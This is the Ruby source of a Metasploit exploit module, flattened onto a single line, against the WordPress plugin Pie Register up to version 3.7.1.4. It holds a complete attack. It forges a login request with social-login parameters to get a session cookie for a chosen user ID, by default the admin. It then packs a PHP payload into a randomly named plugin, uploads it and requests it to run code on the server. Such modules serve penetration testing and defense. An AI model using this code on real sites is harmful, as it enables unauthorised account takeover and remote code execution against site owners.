## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Plugin Pie Register Auth Bypass to RCE', 'Description' => %q{ This module uses an authentication bypass vulnerability in Wordpress Plugin Pie Register <= 3.7.1.4 to generate a valid cookie. With this cookie, hopefully of the admin, it will generate a plugin, pack the payload into it and upload it to a server running WordPress. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # Metasploit module 'Lotfi13-DZ' # EDB ], 'DisclosureDate' => '2021-10-08', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['WordPress', {}]], 'DefaultTarget' => 0, 'References' => [ ['EDB', '50395'] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options( [ OptInt.new('USERID', [true, 'User ID to take over', 1]), ] ) end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('pie-register', '3.7.1.5') if checkcode == CheckCode::Safe print_error('Pie Register not a vulnerable version') end return checkcode end def get_cookie res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_post' => { 'user_id_social_site' => datastore['USERID'], 'social_site' => 'true', 'piereg_login_after_registration' => 'true', '_wp_http_referer' => '/login/', 'log' => 'null', 'pwd' => 'null' }, 'keep_cookies' => 'true' }) fail_with(Failure::Unreachable, 'Site not responding') unless res cookie_jar.cookies.each do |c| print_status("Found cookie: #{c.name}=#{c.value}") end res.get_cookies end # direct copy from modules/exploits/unix/webapp/wp_admin_shell_upload.rb def generate_plugin(plugin_name, payload_name) plugin_script = %() zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded) zip end def exploit cookie_jar.clear # prevent issues between attempts print_status('Bypassing Authentication') cookie = get_cookie print_status('Preparing payload...') plugin_name = Rex::Text.rand_text_alpha(10) payload_name = Rex::Text.rand_text_alpha(10).to_s payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") zip = generate_plugin(plugin_name, payload_name) print_status('Uploading payload...') uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie) fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded print_status("Executing the payload at #{payload_uri}...") register_files_for_cleanup("#{payload_name}.php") register_files_for_cleanup("#{plugin_name}.php") register_dir_for_cleanup("../#{plugin_name}") send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5) end end